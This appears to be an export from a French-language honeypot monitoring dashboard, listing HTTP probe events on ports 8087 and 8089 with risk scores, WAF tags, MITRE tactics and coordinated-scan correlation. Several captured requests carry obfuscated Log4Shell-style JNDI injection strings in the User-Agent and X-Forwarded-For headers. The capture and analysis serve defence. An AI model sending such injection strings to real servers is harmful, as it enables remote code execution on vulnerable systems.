"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 25,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:16 UTC
TCP
8087 · HTTP
Sonde port 8087/TCP
port 8087 tcp · via HTTP:8087 · (sonde / probe)
Élevée
Moyen · 48
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
POST / UA ${${lq5:am:h:-j}${t1:-n}${k:jix:-d}${i4v7:79be:-i}${fh:im0:-:}$…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
POST
/
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8087
Chemin / cible
/
Preuve honeypot — Sonde port 8087/TCP
Connexion détectée sur le port 8087 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8087_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 48
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
POST / HTTP/1.1
User-Agent
${${lq5:am:h:-j}${t1:-n}${k:jix:-d}${i4v7:79be:-i}${fh:im0:-:}${g9:-l}${4h:fu:2b:-d}${rtw:76:-a}${z:g:l:-p}${u:3:-:}${irn:l:-/}${i2:-/}${360:q:-U}${vo:kst:-A}${n:l:-l}${0:7i:-0}${9pyg:vyzo:p:-c}${ql:…
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
POST / HTTP/1.1
Host: 62.3.50.33:8087
Accept: */*
User-Agent: ${${lq5:am:h:-j}${t1:-n}${k:jix:-d}${i4v7:79be:-i}${fh:im0:-:}$
Requête brute (extrait)
POST / HTTP/1.1 Host: 62.3.50.33:8087 Accept: */* User-Agent: ${${lq5:am:h:-j}${t1:-n}${k:jix:-d}${i4v7:79be:-i}${fh:im0:-:}${g9:-l}${4h:fu:2b:-d}${rtw:76:-a}${z:g:l:-p}${u:3:-:}${irn:l:-/}${i2:-/}${360:q:-U}${vo:kst:-A}${n:l:-l}${0:7i:-0}${9pyg:vyzo:p:
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9c295de425f5e99ff613ab806af849a4737796ca",
"http_host_hash": "23dd08f746fb09fb08372c318f4fc3071fcf4424",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": "5246cd6f37cc448f0e39e4ba58040fbb08d204bb",
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.767426615254128,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8087,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 48,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "ac25cfe440c12f4ccb2faeb3aa29909fe10b0e2e",
"event_fingerprint": "f101b5a9d5b093a78295a25d33084634d7d418d5",
"classification_reason": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 48,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "46b311853b108bddff56fa586f8f14a2",
"payload_hash": "05dff7385abf0dbc04a998ea6eca42b5",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8087,
"service": "http",
"service_name": "http",
"risk_score": 48
},
"payload_preview": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: ${${lq5:am:h:-j}${t1:-n}${k:jix:-d}${i4v7:79be:-i}${fh:im0:-:}$",
"method": "POST",
"path": "\/",
"user_agent": "${${lq5:am:h:-j}${t1:-n}${k:jix:-d}${i4v7:79be:-i}${fh:im0:-:}${g9:-l}${4h:fu:2b:-d}${rtw:76:-a}${z:g:l:-p}${u:3:-:}${irn:l:-\/}${i2:-\/}${360:q:-U}${vo:kst:-A}${n:l:-l}${0:7i:-0}${9pyg:vyzo:p:-c}${ql:0z:uh3b:--}${${nql:u5:-s}${vlhn:-y}${8:v35:8:-s}${y:-:}$\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: ${${lq5:am:h:-j}${t1:-n}${k:jix:-d}${i4v7:79be:-i}${fh:im0:-:}${g9:-l}${4h:fu:2b:-d}${rtw:76:-a}${z:g:l:-p}${u:3:-:}${irn:l:-\/}${i2:-\/}${360:q:-U}${vo:kst:-A}${n:l:-l}${0:7i:-0}${9pyg:vyzo:p:",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: ${${lq5:am:h:-j}${t1:-n}${k:jix:-d}${i4v7:79be:-i}${fh:im0:-:}$",
"evidence": {
"method": "POST",
"path": "\/",
"user_agent": "${${lq5:am:h:-j}${t1:-n}${k:jix:-d}${i4v7:79be:-i}${fh:im0:-:}${g9:-l}${4h:fu:2b:-d}${rtw:76:-a}${z:g:l:-p}${u:3:-:}${irn:l:-\/}${i2:-\/}${360:q:-U}${vo:kst:-A}${n:l:-l}${0:7i:-0}${9pyg:vyzo:p:-c}${ql:0z:uh3b:--}${${nql:u5:-s}${vlhn:-y}${8:v35:8:-s}${y:-:}$\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: ${${lq5:am:h:-j}${t1:-n}${k:jix:-d}${i4v7:79be:-i}${fh:im0:-:}${g9:-l}${4h:fu:2b:-d}${rtw:76:-a}${z:g:l:-p}${u:3:-:}${irn:l:-\/}${i2:-\/}${360:q:-U}${vo:kst:-A}${n:l:-l}${0:7i:-0}${9pyg:vyzo:p:",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: ${${lq5:am:h:-j}${t1:-n}${k:jix:-d}${i4v7:79be:-i}${fh:im0:-:}$",
"classification_reason": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "a9b54a152218a7613206dc135fc1f368ff933822",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${lq5:am:h:-j}${t1:-n}${k:jix:-d}${i4v7:79be:-i}${fh:im0:-:}${g9:-l}${4h:fu:2b:-d}${rtw:76:-a}${z:g:l:-p}${u:3:-:}${i\u2026",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: ${${lq5:am:h:-j}${t1:-n}${k:jix:-d}${i4v7:79be:-i}${fh:im0:-:}$",
"attack_vector": "port 8087 tcp \u00b7 via HTTP:8087 \u00b7 (sonde \/ probe)",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 48\/100",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 48,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 48,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8087,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${lq5:am:h:-j}${t1:-n}${k:jix:-d}${i4v7:79be:-i}${fh:im0:-:}${g9:-l}${4h:fu:2b:-d}${rtw:76:-a}${z:g:l:-p}${u:3:-:}${i\u2026",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8087 tcp \u00b7 via HTTP:8087 \u00b7 (sonde \/ probe)",
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: ${${lq5:am:h:-j}${t1:-n}${k:jix:-d}${i4v7:79be:-i}${fh:im0:-:}$",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 25,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:14 UTC
TCP
8089 · HTTP
SSRF interne
ssrf internal · via HTTP:8089 · (tentative d'exploit)
Élevée
Moyen · 56
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8089
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 56
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8089
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8089 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "6e7855f9d1ec5b350040e6a7fa2c7046d35c68a6",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.3666559632548365,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8089,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 6,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 56,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "5e256504645230307d620ce3e464b977231d017e",
"event_fingerprint": "de936a6432fb89a855da618305ffe2db3df65c5f",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 56,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "1791b838603d55f17c91bf5762a1fe94",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8089,
"service": "http",
"service_name": "http",
"risk_score": 56
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "dccec32693dc6630a079149cb1f4066a0a632483",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "ssrf internal \u00b7 via HTTP:8089 \u00b7 (tentative d'exploit)",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 56\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 56,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 56,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8089,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8089 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8089"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 25,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:14 UTC
TCP
8087 · HTTP
Sonde port 8087/TCP
port 8087 tcp · via HTTP:8087 · (sonde / probe)
Élevée
Moyen · 50
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
http_auth_header_token
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8087
Chemin / cible
/
Preuve honeypot — Sonde port 8087/TCP
Connexion détectée sur le port 8087 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8087_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 50
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8087
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8087 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 X-Forwarded-For: ${${76b9:-j}${uy:ic:tu:-n}${t0f:dm28:-d}${0n:vxwg:-i}${g
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 6,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "23dd08f746fb09fb08372c318f4fc3071fcf4424",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.896702377568597,
"port_category": "registered",
"org": "Google LLC",
